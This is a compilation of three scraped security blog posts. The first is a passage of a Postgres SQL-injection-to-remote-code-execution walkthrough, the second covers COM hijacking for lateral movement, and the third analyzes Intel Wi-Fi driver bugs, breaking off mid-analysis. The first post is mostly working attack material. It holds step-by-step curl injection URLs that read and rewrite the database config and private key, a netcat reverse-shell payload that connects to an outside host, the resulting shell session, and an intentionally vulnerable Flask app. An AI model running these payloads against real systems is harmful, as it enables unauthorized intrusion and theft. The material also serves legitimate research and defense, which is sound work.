ciphers #ssl_prefer_server_ciphers = on #ssl_ecdh_curve = 'prime256v1' #ssl_dh_params_file = '' #ssl_passphrase_command = '' #ssl_passphrase_command_supports_reload = off Excellent, that’ll do. We can overwrite the config file to set a command. This will execute when we tell postgres to reload the configuration file. “But isn’t overwriting the config file super risky?” Yes, and it’s up to you to work out how to not wreck anything that shouldn’t be wrecked. That said, select pg_reload_conf() wont take down the server if our shell fails to decrypt the private key. However, a systemctl restart postgres or a server reboot and the database won’t come back. So we need to be sneaky. For the command to execute, ssl_key_file needs to point to a key that’s protected by a passphrase. We could upload our own key file using lo_export, but we run into an issue before the command is executed: 2020-05-04 18:30:43.485 NZST [22651] DETAIL: File must have permissions u=rw (0600) or less if owned by the database user, or permissions u=rw,g=r (0640) or less if owned by root. 2020-05-04 18:30:43.485 NZST [22651] LOG: SSL configuration was not reloaded Both of the above problems can be dealt with by downloading the existing private key using lo_import (snakeoil, on debian), setting a passphrase on the key and re-uploading it. We double the sneakiness by using an exploit command that actually returns the passphrase so the key successfully decrypts. The plan at this point is: lo_import the current config file and the existing private key Dump the config, confirm we have the right file and location Dump the key, add a passphrase Use lo_from_bytea and lo_put to update the config file to execute a malicious command, and add the tweaked private key lo_export the doctored config and key back to disk Execute pg_reload_conf() to load the new configuration Let’s work on getting the private-key and RCE payload working correctly first. I like to figure this all out outside of the confines of the SQLi bug, then string everything together in the end. The idea is that if I have made any wrong assumptions on how things work, I’m not trying to debug that through another vulnerability. Fail-fast and all that. BUILDING AN RCE PAYLOAD The payload needs to meet the requirements as set out in the Postgres docs. Basically, it needs to exit 0 and return the passphrase on stdout. ssl_passphrase_command (string) Sets an external command to be invoked when a passphrase for decrypting an SSL file such as a private key needs to be obtained. By default, this parameter is empty, which means the built-in prompting mechanism is used. The command must print the passphrase to the standard output and exit with code 0. In the parameter value, %p is replaced by a prompt string. (Write %% for a literal %.) Note that the prompt string will probably contain whitespace, so be sure to quote adequately. A single newline is stripped from the end of the output if present. The command does not actually have to prompt the user for a passphrase. It can read it from a file, obtain it from a keychain facility, or similar. It is up to the user to make sure the chosen mechanism is adequately secure. This parameter can only be set in the postgresql.conf file or on the server command line. Though you could upload any kind of malicious file you’d like with lo_export, I achieved the end goal here by using bash. The payload for the ssl passphrase command was as follows: bash -c 'test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0' The code checks if a pipe exists, and creates it if it doesn’t. A netcat reverse shell is then executed and backgrounded. After that, we echo the passphrase and exit 0. Next, we need to figure out how to add a passphrase to the private key. The openssl command can be used to add a passphrase to an existing key: ~/tmp$ sudo openssl rsa -aes256 -in /etc/ssl/private/ssl-cert-snakeoil.key -out ./ssl-cert-snakeoil.key writing RSA key Enter PEM pass phrase: passphrase Verifying - Enter PEM pass phrase: passphrase ~/tmp$ Excellent. This is the part where you manually update the config file and make sure that everything works as intended. There is a minor wrinkle where if a shell was currently open and someone tried to restart Postgres, the restart process would hang on Stopping PostgreSQL Cluster 11-main... until you exit netcat. Something to keep in mind. Another option would be to curl whatever stager you feel like to /dev/shm and execute that, rather than trying to tackle job-control in a netcat one liner. You do you though. Alright, so ready to go right? WRONG: :~$ sudo ls -l /etc/ssl/private/ssl-cert-snakeoil.key -rw-r----- 1 root ssl-cert 1766 May 4 20:18 /etc/ssl/private/ssl-cert-snakeoil.key The postgres user can’t overwrite that file, and the default umask will create files with the wrong permissions. It’s fine, it’s fine, we just need a file that’s already owned by the postgres user and has 0600 permissions. There should be at least one, right? :/# find / -user postgres -type f -perm 0600 2> /dev/null | wc -l 1297 805260 8 -rw------- 1 postgres postgres 6895 May 4 20:20 /var/lib/postgresql/.psql_history 805261 4 -rw------- 1 postgres postgres 258 May 4 20:21 /var/lib/postgresql/.bash_history These two look good, but I kind of feel like that would be cheating, so moving on. :/# ls -l /var/lib/postgresql/11/main/PG_VERSION -rw------- 1 postgres postgres 3 May 1 16:31 /var/lib/postgresql/11/main/PG_VERSION :/# cat /var/lib/postgresql/11/main/PG_VERSION 11 OK that looks better, lets try string everything together and get our shell. THE EXPLOIT So with the prototype finished, here is the final SQLi to RCE dance: STEP ONE - GET THE CONFIG FILE :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20setting%20from%20pg_settings%20where%20name=''config_file''',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <setting>/etc/postgresql/11/main/postgresql.conf</setting> </row> " :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)" <h1> Test some stuff </h1><table><th>id</th><th>name...snip... :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)" <h1> Test some stuff </h1><table><th>id</th><th>name...snip... :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20loid%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16441</loid> </row> ...snip... <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16442</loid> </row> " :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16441</loid> <pageno>3</pageno> <data>b3VuZAojYmd3cml0ZXJfZmx1c2hfYWZ0ZXIgPSA1MTJrQgkJIyBtZWFzdXJlZCBpbiBwYWdl cywgMCBkaXNhYmxlcwoKIyAtIEFzeW5jaHJvbm91cyBCZWhhdmlvciAtCgojZWZmZWN0aXZl X2lvX2NvbmN1cnJlbmN5ID0gMQkJIyAxLTEwMDA7IDAgZGlzYWJsZXMgcHJlZmV0Y2hpbmcK I21heF93b3JrZXJfcHJvY2Vzc2VzID0gOAkJIyAoY2hhbmdlIHJlcXVpcmVzIHJlc3RhcnQp CiNtYXhfcGFyYWxsZWxfbWFpbnRlbmFuY2Vfd29ya2VycyA9IDIJIyB0YWtlbiBmcm9tIG1h eF9wYXJhbGxlbF93b3JrZXJzCiNtYXhfcGFyYWxsZWxfd29ya2Vyc19wZXJfZ2F0aGVyID0g MgkjIHRha2VuIGZyb20gbWF4X3BhcmFsbGVsX3dvcmtlcnMKI3BhcmFsbGVsX2xlYWRlcl9w YXJ0aWNpcGF0aW9uID0gb24KI21heF9 16441 will be our “clean” config that we can spool out to disk if we need to roll back in a hurry. 16442 is what we will mess with. After concatenating all the base64 blobs and spooling to disk, we get the config file. The SSL parameters is what we’re interested in: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16441''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | tee file ...snip... :~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done | grep ssl ssl = on #ssl_ca_file = '' ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' #ssl_crl_file = '' ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers #ssl_prefer_server_ciphers = on #ssl_ecdh_curve = 'prime256v1' #ssl_dh_params_file = '' #ssl_passphrase_command = '' #ssl_passphrase_command_supports_reload = on STEP TWO - GET THE PRIVATE KEY Next we need to grab the the private key :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/ssl/private/ssl-cert-snakeoil.key')=%271%27)%20THEN%20name%20ELSE%20note%20END)" :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16443''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | tee file ...snip... :~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done > private.key Add a passphrase: :~$ openssl rsa -aes256 -in private.key -out private_passphrase.key writing RSA key Enter PEM pass phrase: passphrase Verifying - Enter PEM pass phrase: passphrase And upload the result into a large object. We can use lo_from_bytea to create the object, then lo_put to append. lo_put returns void, which throws an error when used in the CASE statement. Solution here is to wrap it in pg_typeof, which we can check against an int. I used a sketchy one-liner to break this up so it’ll fit in the GET parameters neatly: :~$ I=0; xxd -p private_passphrase.key | while read line do if [ $I == 0 ] then echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x$line')=%271%27)%20THEN%20name%20ELSE%20note%20END)\"" else echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,$I,'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\"" fi ; I=$(($I+30)); done curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x2d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d')=%271%27)%20THEN%20name%20ELSE%20note%20END)" curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,30,'\x2d0a50726f632d547970653a20342c454e435259505445440a44454b2d49'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" ...snip... curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,1740,'\x2d454e44205253412050524956415445204b45592d2d2d2d2d0a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" Double check that the uploaded key makes sense: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''43210''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done | md5sum % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2597 100 2597 0 0 507k 0 --:--:-- --:--:-- --:--:-- 634k 9f80a502993d721ee45e2c03c0da66c0 - :~$ md5sum private_passphrase.key 9f80a502993d721ee45e2c03c0da66c0 private_passphrase.key Sweet. As. STEP THREE - UPDATE THE CONFIG FILE Since the config file is already loaded into a large object, we can append the ssl_passphrase_command and ssl_passphrase_command_supports_reload commands to the end of the object. Inserting a # at the right offset will comment out the original private key definition, then we can append the new one at the end. Let’s start by figuring out the comment offset: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done >postgres.conf :~$ grep -b -o ssl_key_file postgres.conf 3968:ssl_key_file :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,3968,'\x23'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" Now we can append the three lines to the config: :~$ wc -c postgres.conf 24193 postgres.conf :~$ I=0; echo -e "ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'\nssl_passphrase_command_supports_reload = on\nssl_passphrase_command = 'bash -c \"test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0\"'" | xxd -p | while read line do echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,$((24193+$I)),'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\""; I=$(($I+30)) done curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24193,'\x73736c5f636572745f66696c65203d20272f7661722f6c69622f706f7374'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" ...snip... curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24463,'\x6974203027220a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" After executing the above, we can double check that the object has been updated successfully: :~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done |grep ssl ssl = on #ssl_ca_file = '' ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' #ssl_crl_file = '' #sl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers #ssl_prefer_server_ciphers = on #ssl_ecdh_curve = 'prime256v1' #ssl_dh_params_file = '' #ssl_passphrase_command = '' #ssl_passphrase_command_supports_reload = on ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION' ssl_passphrase_command_supports_reload = on ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"' Fantastic. Moving on. STEP FOUR - WRITE THE FILES OUT TO THE FILESYSTEM This part should be relatively straight forward, use lo_export to spool the files out to the file-system. 16442 is the config OID and 43210 is the private key: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16442,'/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)" :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(43210,'/var/lib/postgresql/11/main/PG_VERSION')=%271%27)%20THEN%20name%20ELSE%20note%20END)" If, like me, you suffer from exploit pessimism, this would be the point where you re-download those files to double check everything is correct. STEP FIVE - EXECUTE! Last step is to issue select pg_reload() and hopefully receive the shell! :~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_reload_conf()',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_reload_conf>true</pg_reload_conf> </row> " doi@djubre:~$ ncat -vv -k -l -p 8000 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000 Ncat: Connection from 192.168.122.7. Ncat: Connection from 192.168.122.7:44166. id uid=108(postgres) gid=114(postgres) groups=114(postgres),113(ssl-cert) ls -l total 84 drwx------ 6 postgres postgres 4096 May 1 23:50 base drwx------ 2 postgres postgres 4096 May 4 20:37 global drwx------ 2 postgres postgres 4096 May 1 16:31 pg_commit_ts drwx------ 2 postgres postgres 4096 May 1 16:31 pg_dynshmem drwx------ 4 postgres postgres 4096 May 4 22:56 pg_logical drwx------ 4 postgres postgres 4096 May 1 16:31 pg_multixact drwx------ 2 postgres postgres 4096 May 4 20:36 pg_notify drwx------ 2 postgres postgres 4096 May 1 16:31 pg_replslot drwx------ 2 postgres postgres 4096 May 1 16:31 pg_serial drwx------ 2 postgres postgres 4096 May 1 16:31 pg_snapshots drwx------ 2 postgres postgres 4096 May 4 20:36 pg_stat drwx------ 2 postgres postgres 4096 May 1 16:31 pg_stat_tmp drwx------ 2 postgres postgres 4096 May 1 16:31 pg_subtrans drwx------ 2 postgres postgres 4096 May 1 16:31 pg_tblspc drwx------ 2 postgres postgres 4096 May 1 16:31 pg_twophase -rw------- 1 postgres postgres 1766 May 4 22:48 PG_VERSION drwx------ 3 postgres postgres 4096 May 1 16:31 pg_wal drwx------ 2 postgres postgres 4096 May 1 16:31 pg_xact -rw------- 1 postgres postgres 88 May 1 16:31 postgresql.auto.conf -rw------- 1 postgres postgres 130 May 4 20:36 postmaster.opts -rw------- 1 postgres postgres 108 May 4 20:36 postmaster.pid And the obligatory exploit GIF: SUMMARY So there you have it, a few interesting techniques we used to exploit an SQLi against a Postgres DB, without ever executing ‘CREATE’, ‘INSERT’, or ‘UPDATE’. This exercise was certainly interesting, and digging through Postgres internals to exploit an SQLi was pretty fun. A pull request will be sent to the PayloadsAllTheThings GitHub repo with info on some of these techniques. Happy hacking! APPENDIX - DUMP ALL POSTGRES FUNCTIONS AND FIND THEIR CORRESPONDING METHODS The majority of this post came from dumping all functions available in a default Postgres install and trying to find things that look interested and can be executed by a default DB user. You, too, can dump all the postgres functions using the following SQL: SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name; After finding an interesting function, its usually fairly easy to locate within the source tree. Using lo_import as an example: :~/targets/postgresql-11-11.7/src$ grep -a2 lo_import include/catalog/pg_proc.dat { oid => '764', descr => 'large object import', proname => 'lo_import', provolatile => 'v', proparallel => 'u', prorettype => 'oid', proargtypes => 'text', prosrc => 'be_lo_import' }, { oid => '767', descr => 'large object import', proname => 'lo_import', provolatile => 'v', proparallel => 'u', prorettype => 'oid', proargtypes => 'text oid', prosrc => 'be_lo_import_with_oid' }, { oid => '765', descr => 'large object export', proname => 'lo_export', provolatile => 'v', proparallel => 'u', be_lo_import is the method we’re after, which is defined in backend/libpq/be-fsstubs.c: 386 /* 387 * lo_import - 388 * imports a file as an (inversion) large object. 389 */ 390 Datum 391 be_lo_import(PG_FUNCTION_ARGS) 392 { 393 text *filename = PG_GETARG_TEXT_PP(0); 394 395 PG_RETURN_OID(lo_import_internal(filename, InvalidOid)); 396 } You can look at the proargtypes in pg_proc.dat to get an idea of what input a function expects. APPENDIX - TEST CODE If you want to have a play with these tricks yourself, you can use the following example code. This is a simple Flask app vulnerable to SQL injection that was used to demonstrate the SQLi tricks through this post: # create the DB table with: # CREATE TABLE animals( id serial PRIMARY KEY, name VARCHAR (50) UNIQUE NOT NULL, note VARCHAR (500) NOT NULL, created_on TIMESTAMP NOT NULL); # insert into animals (name, note, created_on) values ('dog', 'is a good dog', now()); # insert into animals (name, note, created_on) values ('cat', 'adorable, if passive aggressive', now()); # insert into animals (name, note, created_on) values ('fish', 'fish go blub', now()); # insert into animals (name, note, created_on) values ('whale', 'also go blub', now()); # insert into animals (name, note, created_on) values ('shrimp', 'also go blub', now()); # insert into animals (name, note, created_on) values ('giraffe', 'long neck, neato spots', now()); # insert into animals (name, note, created_on) values ('rock', 'TICKET 1143 rock is not animal', now()); import psycopg2 from flask import Flask from flask import request from flask import Response app = Flask(__name__) host = "127.0.0.1" port = "5432" dbname = "testdb" user = "testuser" pw = whateveryousetthetestuserpasswordto conn = psycopg2.connect(host=host, port=port, dbname=dbname, user=user, password=pw) cols = ['id','name','note','created_on'] @app.route("/") def index(): result = "<h1> Test some stuff </h1>" order = request.args.get("order") sort = request.args.get("sort") sqlquery = "select * from animals"; if order in cols: sqlquery = sqlquery + " order by " + order if sort: sqlquery = sqlquery + " " + sort cur = conn.cursor() try: cur.execute(sqlquery) except psycopg2.Error as e: conn.rollback() return Response(e.pgerror, mimetype='text/plain') result = result + "<table>" result = result + "<th>id</th>" result = result + "<th>name</th>" result = result + "<th>note</th>" result = result + "<th>created</th>" rows = cur.fetchall() for row in rows: result = result + "<tr>" result = result + "<td>" + str(row[0]) +"</td>" result = result + "<td>" + row[1] + "</td>" result = result + "<td>" + row[2] + "</td>" result = result + "<td>" + row[3].strftime("%d-%b-%Y (%H:%M:%S.%f)") + "</td>" result = result + "</tr>" result = result + "</table>" conn.commit() cur.close() return result if __name__ == "__main__": app.run() Sursa: https://pulsesecurity.co.nz/articles/postgres-sqli

COM Hijacking for Lateral Movement MAY 5, 2020 ~ CPLSEC Hey all, This post is about leveraging COM hijacking for lateral movement. I’m going to stay away from deep-diving COM internals as hijacking is not a new topic and has been explored by people far smarter than I, check out the references for awesome COM material. Instead, I’ll be taking a look at how tinkering with the registry and calling a COM object remotely (DCOM) can provide lateral movement options. As a humble net-pen guy, I have to admit I haven’t encountered a target which monitors HKLM\..\CLSID, so I wanted to develop a tool which could explain the importance of doing so. Also, from an offsec standpoint, I like this approach as it provides the ability to live inside a legitimate process without dropping an executable to disk or using one of the “usual suspects” executables to kick off my session. However, there are two risks with using this type of approach: the modifications to the remote registry are clearly malicious and can leave a system in an non-operational state. Furthermore, there are a ton of interesting use cases when tinkering with the AppID registry key as well. For example, setting RunAs to a different value might kick off our C2 session to a context of our choosing (Interactive User or SYSTEM). I’m hoping to explore this in future posts. References James Forshaw https://www.tiraniddo.dev/ OleViewDotNet COM in Sixty Seconds COMProxy by Leoloobeek SwiftOnSecurity’s Sysmon Configuration Abusing DCOM For Yet Another Lateral Movement Technique by bohops COM Hijacking Techniques by David Tulis (NCC Group) Lateral Movement Using MMC20.Application COM Object by Enigma0x3 DCOM_Work In-line with any proof-of-concept coding I do, **use at your own risk**. I do this type of after-hours work to further understand a topic and just become a better coder (I’m not good). Any program which tinkers with the registry can seriously break a system, so you’ve been warned. DCOM_Work does everything possible to revert the registry configuration and permissions, but if the application terminates unexpectedly you might be left with a hung registry value which will impact system operation. In the link below, I’ve also included DCOM_Revert which will try to revert the target registry configuration. However, it wouldn’t hurt to have regedit.exe + remote registry on standby to modify the value if need be. The operational comments of DCOM_Work are pretty self-explanatory; however, there are a few additional comments I would like to make. The mmgaserver module can be touch and go depending on the target OS, especially Server OSes, I’ve had pretty constant success using the Wordpad module. Coming up with new processes to inject into is pretty trivial though. The temp share is configured to permit null share sessions and ANONYMOUS LOGON to host the landing DLL which will be injected into wordpad.exe or mmgaserver.exe. To bypass this requirement, the RunAs registry value in the associated AppID registry key could be set to Interactive User; however, this would introduce a requirement of an active session on the remote target. The landing DLL used in the video was a stripped down version of COMProxy by Leoloobeek. From my experience, calling the intended COM DLL (wordpad -> uiribbon.dll or mmgaserver -> Windows.State.RepositoryPS.dll) provides a more stable injected process. To kick off the DCOM instance, powershell is spawned via CreateProcess which might get flagged by certain security products. There are better ways to approach this but not right now. The following changes will occur remotely on a default Windows 10 system. If the remote registry is disabled and stopped, it will be set to manual_start and started. If the connecting account does not have write access to the target registry key, the built-in administrators group will be made owner and provided write-access. The target value will be changed to the specified DLL path provided in the program arguments – (\\192.168.1.10\temp\GetClassObjectDLL_WordPad.dll). If everything works, the following reversions will be performed after the DCOM instance is created. The target value will be reverted to the starting DLL path obtained during the initial gathering phase of execution (%systemroot%\system32\uiribbon.dll). If the registry permissions were changed, the registry key will be reverted to the original owner (including TrustedInstaller) and the built-in administrators permissions will be set to KEY_READ, the default on Windows 10. If the remote registry settings were changed, it will be reverted to it’s initial start state (disabled, manual_start, auto_start). DCOM_Work Link On the Defensive COM Hijacking is actively employed by adversaries so it’s important to prevent and detect; fortunately for us, this is easy to detect. Employing sysmon with a configuration like SwiftOnSecurity’s example here will do the trick. As we can see in the details, this will never happen during normal operation and is easy to distinguish as malicious. However, it’s important to note that there are quite a few weird and wonderful registry keys under \..\CLSID\{GUID}\, some of which I’m sure could hijack execution, so it’s best to keep dynamic with sysmon configurations. <TargetObject name="T1122" condition="end with">\InprocServer32\(Default)</TargetObject> From a prevention standpoint, this is a bit more tricky but definitely doable. In my home lab the target remote system was running up-to-date Defender which highlights standard AV probably won’t do much (MS or whatever). Applocker DLL rules could restrict UNC paths quite simply, but this is more a band-aid … and honestly, who isn’t driven away by that ominous DLL rules can cause performance issues message. Ultimately, my hope was to have WDAC setup in my home lab but I couldn’t get it done in time. From my understanding, WDAC could have blocked this type of activity. I’m hoping to perform active testing in my lab and come up with a conclusive answer at a later date. Sursa: https://ijustwannared.team/2020/05/05/com-hijacking-for-lateral-movement/

ANALYZING A TRIO OF REMOTE CODE EXECUTION BUGS IN INTEL WIRELESS ADAPTERS May 05, 2020 | Vincent Lee SUBSCRIBE Earlier this month, we published three memory corruption bugs (ZDI-20-494, ZDI-20-495, and ZDI-20-496 - collectively referred to as CVE-2020-0558) affecting two Windows Wi-Fi drivers for various Intel dual-band wireless adapters. According to the vendor, these drivers are intended for the AC 7265 Rev D, AC 3168, AC 8265, and AC8260 wireless adapters. Both ZDI-20-494 and ZDI-20-496 are out-of-bounds write vulnerabilities that share a common root cause and reside in both drivers, namely Netwtw04.sys and Netwtw06.sys. ZDI-20-495 is a stack buffer overflow vulnerability that affects the Netwtw06.sys driver only. These bugs were discovered by Haikuo Xie and Ying Wang of Baidu Security Lab and were originally reported to the ZDI at the end of November 2019. You may find a copy of the PoCs for all three vulnerabilities at our GitHub page and poke at them yourself. The PoCs have been tested against the AC 3168 and AC 8260 adapters using the Qualcomm Atheros AR9271-based USB network adapter. All three vulnerabilities require the victim to enable the “Mobile Hotspot” feature. An attacker could exploit these vulnerabilities by simply connecting to the wireless network with malicious 802.11 MAC frames without knowing the password for the mobile hotspot. ZDI-20-495 This stack-buffer overflow vulnerability exists in the Netwtw06.sys driver. The PoC sends four 802.11 MAC frames to the victim mobile hotspot, triggering a BSOD on the victim machine. The cause of the vulnerability is straightforward. An overly long SSID is passed to a vulnerable function through the Tag-length-value encoded information element tagged-parameter located within an 802.11 association request frame body. Below is the dissection of the malicious frame, as generated with the Scapy utility: View fullsize Figure 1 - Packet dissection of the malicious 802.11 Frame In the above diagram, we can see the information element with the ID 0x00, which corresponds to the SSID, has a length of 55 bytes. The long SSID string follows. The vulnerable function, prvhPanClientSaveAssocResp(), copies the SSID into a fixed-length stack buffer through memcpy_s() with an incorrect DstSize parameter. Instead of the destination buffer size, it supplies the attacker-provided SSID length. Below is a disassembly code snippet of the prvhPanClientSaveAssocResp() function taken from version 20.70.13.2 of the driver. View fullsize Figure 2 - Disassembly of the vulnerable function prvhPanClientSaveAssocResp() At 0x1403A7F5C, r8 points to the start of the SSID information element. At 0x1403A7F66, the attacker provided SSID length (55) is passed to DstSize, and this value is later passed into MaxCount as well. Passing the SSID length in this manner defeats the security of memcpy_s() and is the essence of this vulnerability. If we look further up the disassembly, we can see the stack buffer, var_4C, is 36 bytes long only: View fullsize Figure 3 - Stack buffer var_4C When memcpy_s() proceeds to copy the attacker-controlled buffer into the undersized stack buffer variable, a buffer overflow condition occurs. ZDI-20-494 and ZDI-20-496 Since these two vulnerabilities share the same root cause, we will discuss ZDI-20-494 only. An out-of-bounds write vulnerability exists within the processing of association request frames. In order to reach the vulnerable code path, the attacker must first send an authentication request[1] before sending the malicious association request. The attacker sends an association request frame containing an information element with the ID of 59 (0x3B), which corresponds to Supported Operational Classes. The value of the information element consists of 221 null bytes. A frame dissection of the request follows: View fullsize Figure 4 - Packet dissection of the malicious association request sent by the PoC The driver calls two functions to handle the information element: prvPanCnctProcessAssocSupportedChannelList() and utilRegulatoryClassToChannelList(). In the handling of the malicious request, prvPanCnctProcessAssocSupportedChannelList() attempts to call the function utilRegulatoryClassToChannelList() 221 times, corresponding to the information element length. Below is a disassembly code snippet of the prvPanCnctProcessAssocSupportedChannelList() function taken from version 19.51.23.1 of the Netwtw04.sys driver: View fullsize Figure 5 - Disassembly snippet of prvPanCnctProcessAssocSupportedChannelList () At 0x140388500, the ebx loop index is initialized to 0. The loop exit condition at 0x1403885AF compares the loop index ebx with the information element length stored in the eax register from four instructions prior[2]. The utilRegulatoryClassToChannelList() function is called within the loop body at 0x140388559. The third argument to the function is a memory buffer address passed through the r8 register, which is the address of the buffer affected by this out-of-bounds write vulnerability. Also note that at 0x14088502, the first DWORD of the buffer is initialized to zero. The utilRegulatoryClassToChannelList() function reads the first DWORD of the buffer from the vulnerable buffer as an index and uses it as an offset to write 0xFF bytes of data to itself. This occurs every time the function is called. Due to a lack of bounds checking, it is possible for the index to point to memory regions beyond the end of the buffer when this function is called repeatedly. View fullsize Figure 6 - Disassembly of utilRegulatoryClassToChannelList() At 0x1400D06A8, the vulnerable buffer from the third argument is transferred to the rbx register. At 0x140D068F, the loop 